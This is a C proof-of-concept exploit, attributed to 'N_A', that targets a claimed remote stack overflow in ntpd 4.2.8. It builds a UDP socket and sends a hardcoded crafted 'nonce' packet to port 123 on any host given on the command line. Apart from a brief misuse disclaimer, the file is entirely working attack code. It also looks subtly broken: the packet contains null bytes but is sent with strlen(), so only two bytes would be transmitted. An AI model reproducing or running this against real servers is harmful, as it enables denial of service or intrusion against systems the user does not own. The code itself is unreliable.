/*

Remote ntpd 4.2.8 Stack Over Flow Proof Of Concept Exploit by N_A , N_A[at]tutanota.com
Please use this code to test your own servers. Do not break the law. Do not misuse. I am not responsible for any
misuse of this code


N_A[at]tutanota.com

*/




#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <netinet/in.h>
#include <string.h>
#include <netdb.h>


#define PORT 123		/* change if needed */


		/* & nonce exploit packet , Todor Donev  */
char packet[] ="\x26\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x6e\x6f\x6e\x63\x65\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61";



void err(char *msg);

int main(int argc, char *argv[])

{
	int sockfd,n;

	struct sockaddr_in vuln;
	struct hostent *server;

	char *hostname;

	if(argc != 2)
	{
		printf("==================================================\n");
		printf("\tntpd 4.2.8 remote stack overflow exploit\n");
		printf("\t\tBy N_A\n");
		printf("\tUSAGE: %s [HOST]\n", argv[0]);
		printf("\t%s 127.0.0.1\n", argv[0]);
		printf("==================================================\n");
		return EXIT_FAILURE;
	}


	hostname = argv[1];
	server = gethostbyname(hostname);

	if( server == NULL )
	{
		err("gethostbyname");
	}


	if ((sockfd = socket(AF_INET,SOCK_DGRAM,0)) < 0 )
	{
		err("socket()");
	}

	printf("\n[*]UDP socket() successful\n");

	bzero((char *)&vuln,sizeof(vuln));
	vuln.sin_family = AF_INET;
	bcopy((char *)server->h_addr,(char *)&vuln.sin_addr.s_addr,server->h_length);
	vuln.sin_port = htons(PORT);

	if((n = sendto(sockfd,packet,strlen(packet),0,(struct sockaddr *)&vuln,sizeof(vuln))) < 0 )
	{
		err("sendto()");
	}

	printf("\n\n=============================\n");
	printf("\nPacket sent to server!\n");
	printf("=============================\n\n");

	return EXIT_SUCCESS;
}



void err(char *msg)
{
	perror(msg);
	exit(0);
}